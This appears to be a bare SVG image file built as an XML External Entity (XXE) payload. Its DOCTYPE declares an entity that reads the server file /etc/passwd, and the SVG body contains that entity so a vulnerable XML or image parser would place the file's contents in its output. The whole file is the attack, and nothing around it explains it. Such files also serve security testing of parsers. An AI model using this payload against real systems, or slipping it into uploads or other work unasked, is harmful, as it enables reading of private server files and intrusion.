<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<svg
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   version="1.0"
   width="864"
   height="648">
  <path
     d="M 432,0 L 594,0 L 594,36 L 432,36 L 432,0 z"/>
  &xxe;
</svg>